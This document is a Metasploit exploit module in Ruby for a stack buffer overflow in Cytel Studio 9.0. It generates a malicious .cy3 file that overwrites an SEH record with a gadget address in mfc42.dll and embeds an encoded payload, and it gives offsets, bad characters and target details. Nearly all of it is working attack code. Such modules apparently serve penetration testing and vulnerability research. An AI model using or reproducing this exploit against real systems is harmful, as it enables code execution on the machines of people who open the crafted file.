Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow

                                                ##
# $Id: cytel_studio_cy3.rb 14041 2011-10-24 01:39:11Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow',
			'Description'    => %q{ 
					This module exploits a stack based buffer overflow found
				in Cytel Studio <= 9.0. The overflow is triggered during the
				copying of strings to a stack buffer of 256 bytes.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[ 
					'Luigi Auriemma',  # Initial Discovery/PoC
					'James Fitts'      # Metasploit Module (Thx Juan & Jeff)
				],
			'Version'        => '$Revision: 14041 $',
			'References'     =>
				[
					[ 'OSVDB', '75991' ],
					[ 'BID', '49924' ],
					[ 'URL', 'http://aluigi.altervista.org/adv/cytel_1-adv.txt' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space' => 1000,
					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[
						# File version 8.0.0.1
						'Cytel Studio 9.0', 
						{ 
							'Ret' => 0x73e58e01, # p/p/r mfc42.dll 
							'Offset' => 500
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 02 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.cy3']),
			], self.class)
	end

	def exploit
		cy3 =  "90\n150 1\n1\test\n"
		cy3 << rand_text_alpha_upper(target['Offset'])
		cy3 << generate_seh_record(target.ret)
		cy3 << rand_text_alpha_upper(8)
		cy3 << payload.encoded
		cy3 << rand_text_alpha_upper(5000 - cy3.length)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(cy3)
	end
end

=begin
During testing, the offset for Jeff was different. But the three of us have NOT
been unable to reproduce the same problem.  All this was tested on:
XP SP3, Vista SP0/SP1, Win 7
=end